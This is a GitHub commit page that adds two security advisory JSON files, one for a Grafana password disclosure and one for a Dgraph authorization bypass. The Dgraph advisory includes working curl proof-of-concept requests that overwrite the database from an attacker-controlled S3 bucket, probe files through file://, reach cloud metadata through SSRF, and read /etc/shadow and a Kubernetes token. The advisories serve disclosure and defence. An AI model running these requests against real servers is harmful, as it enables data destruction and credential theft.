Skip to content

Commit 0c1b968

Browse files
1 parent ba5da06 commit 0c1b968

3 files changed

Lines changed: 262 additions & 34 deletions

File tree

Lines changed: 156 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,156 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3q27-7qjq-p9c5",
4+
"modified": "2026-04-02T20:43:50Z",
5+
"published": "2026-03-27T15:30:25Z",
6+
"aliases": [
7+
"CVE-2026-27877"
8+
],
9+
"summary": "Grafana public dashboards disclose all direct mode datasources",
10+
"details": "When using public dashboards and direct data-sources, all direct data-sources' passwords are exposed despite not being used in dashboards.\n\nNo passwords of proxied data-sources are exposed. We encourage all direct data-sources to be converted to proxied data-sources as far as possible to improve your deployments' security.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/grafana/grafana"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "9.3.0"
29+
}
30+
]
31+
}
32+
],
33+
"database_specific": {
34+
"last_known_affected_version_range": "< 11.6.14"
35+
}
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/grafana/grafana"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "12.0.0"
48+
}
49+
]
50+
}
51+
],
52+
"database_specific": {
53+
"last_known_affected_version_range": "< 12.1.10"
54+
}
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "Go",
59+
"name": "github.com/grafana/grafana"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "12.2.0"
67+
}
68+
]
69+
}
70+
],
71+
"database_specific": {
72+
"last_known_affected_version_range": "< 12.2.8"
73+
}
74+
},
75+
{
76+
"package": {
77+
"ecosystem": "Go",
78+
"name": "github.com/grafana/grafana"
79+
},
80+
"ranges": [
81+
{
82+
"type": "ECOSYSTEM",
83+
"events": [
84+
{
85+
"introduced": "12.3.0"
86+
}
87+
]
88+
}
89+
],
90+
"database_specific": {
91+
"last_known_affected_version_range": "< 12.3.6"
92+
}
93+
},
94+
{
95+
"package": {
96+
"ecosystem": "Go",
97+
"name": "github.com/grafana/grafana"
98+
},
99+
"ranges": [
100+
{
101+
"type": "ECOSYSTEM",
102+
"events": [
103+
{
104+
"introduced": "12.4.0"
105+
}
106+
]
107+
}
108+
],
109+
"database_specific": {
110+
"last_known_affected_version_range": "< 12.4.2"
111+
}
112+
},
113+
{
114+
"package": {
115+
"ecosystem": "Go",
116+
"name": "github.com/grafana/grafana"
117+
},
118+
"ranges": [
119+
{
120+
"type": "ECOSYSTEM",
121+
"events": [
122+
{
123+
"introduced": "1.9.2-0.20221116104934-4ee83a5f2bf4"
124+
},
125+
{
126+
"fixed": "1.9.2-0.20260325055210-3522153e07b4"
127+
}
128+
]
129+
}
130+
]
131+
}
132+
],
133+
"references": [
134+
{
135+
"type": "ADVISORY",
136+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27877"
137+
},
138+
{
139+
"type": "PACKAGE",
140+
"url": "https://github.com/grafana/grafana"
141+
},
142+
{
143+
"type": "WEB",
144+
"url": "https://grafana.com/security/security-advisories/cve-2026-27877"
145+
}
146+
],
147+
"database_specific": {
148+
"cwe_ids": [
149+
"CWE-200"
150+
],
151+
"severity": "MODERATE",
152+
"github_reviewed": true,
153+
"github_reviewed_at": "2026-04-02T20:43:50Z",
154+
"nvd_published_at": "2026-03-27T15:16:51Z"
155+
}
156+
}
Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-p5rh-vmhp-gvcw",
4+
"modified": "2026-04-02T20:44:36Z",
5+
"published": "2026-04-02T20:44:36Z",
6+
"aliases": [
7+
"CVE-2026-34976"
8+
],
9+
"summary": "Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization",
10+
"details": "The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.\n\nThis mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.\n\n## Authentication Bypass\n\nEvery admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.\n\nWhen middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.\n\n## PoC 1: Pre-Auth Database Overwrite\n\nThe attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:\n\n # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/evil-backup\\\", accessKey: \\\"AKIAIOSFODNN7EXAMPLE\\\", secretKey: \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\", anonymous: false }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # Response: {\"data\":{\"restoreTenant\":{\"code\":\"Success\",\"message\":\"Restore operation started.\"}}}\n # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).\n\nThe resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.\n\nNote: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:\n\n mutation { restoreTenant(input: {\n restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true },\n fromNamespace: 0\n }) { code message } }\n\n## Live PoC Results (Dgraph v24.x Docker)\n\nTested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:\n\n # restore (HAS middleware) -> BLOCKED\n $ curl ... '{\"query\": \"mutation { restore(...) { code } }\"}'\n {\"errors\":[{\"message\":\"resolving restore failed because unauthorized ip address: 172.25.0.1\"}]}\n\n # restoreTenant (MISSING middleware) -> AUTH BYPASSED\n $ curl ... '{\"query\": \"mutation { restoreTenant(...) { code } }\"}'\n {\"errors\":[{\"message\":\"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID\"}]}\n\nThe `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.\n\nFilesystem enumeration also confirmed with distinct error messages:\n- `/etc/` (exists): \"No backups with the specified backup ID\" (directory scanned)\n- `/nonexistent/` (doesn't exist): \"The uri path doesn't exists\" (path doesn't exist)\n- `/tmp/` (exists, empty): \"No backups with the specified backup ID\" (directory scanned)\n\n## PoC 2: Local Filesystem Probe via file:// Scheme\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///etc/\\\" }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # Error response reveals whether /etc/ exists and its structure.\n # backup_handler.go:130-132 creates a fileHandler for file:// URIs.\n # fileHandler.ListPaths at line 161-166 walks the local filesystem.\n # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))\n\n## PoC 3: SSRF via S3 Endpoint\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://169.254.169.254/latest/meta-data/\\\" }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.\n # Error response may leak cloud metadata information.\n\n## PoC 4: Vault SSRF + Server File Path Read\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/backup\\\", accessKey: \\\"AKIA...\\\", secretKey: \\\"...\\\", vaultAddr: \\\"http://internal-service:8080\\\", vaultRoleIDFile: \\\"/var/run/secrets/kubernetes.io/serviceaccount/token\\\", vaultSecretIDFile: \\\"/etc/passwd\\\", encryptionKeyFile: \\\"/etc/shadow\\\" }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080\n # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk\n # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag\n\n## Fix\n\nAdd `restoreTenant` to `adminMutationMWConfig`:\n\n \"restoreTenant\": gogMutMWs,\n\nKoda Reef",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/dgraph-io/dgraph/v25"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "25.3.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 25.3.0"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "Go",
43+
"name": "github.com/dgraph-io/dgraph/v24"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "0"
51+
},
52+
{
53+
"last_affected": "24.0.5"
54+
}
55+
]
56+
}
57+
]
58+
},
59+
{
60+
"package": {
61+
"ecosystem": "Go",
62+
"name": "github.com/dgraph-io/dgraph"
63+
},
64+
"ranges": [
65+
{
66+
"type": "ECOSYSTEM",
67+
"events": [
68+
{
69+
"introduced": "0"
70+
},
71+
{
72+
"last_affected": "1.2.8"
73+
}
74+
]
75+
}
76+
]
77+
}
78+
],
79+
"references": [
80+
{
81+
"type": "WEB",
82+
"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw"
83+
},
84+
{
85+
"type": "WEB",
86+
"url": "https://github.com/dgraph-io/dgraph/commit/b15c87e9353e36618bf8e0df3bd945c0ce7105ef"
87+
},
88+
{
89+
"type": "PACKAGE",
90+
"url": "https://github.com/dgraph-io/dgraph"
91+
},
92+
{
93+
"type": "WEB",
94+
"url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1"
95+
}
96+
],
97+
"database_specific": {
98+
"cwe_ids": [
99+
"CWE-862"
100+
],
101+
"severity": "CRITICAL",
102+
"github_reviewed": true,
103+
"github_reviewed_at": "2026-04-02T20:44:36Z",
104+
"nvd_published_at": null
105+
}
106+
}

advisories/unreviewed/2026/03/GHSA-3q27-7qjq-p9c5/GHSA-3q27-7qjq-p9c5.json

Lines changed: 0 additions & 34 deletions
This file was deleted.

0 commit comments

Comments
 (0)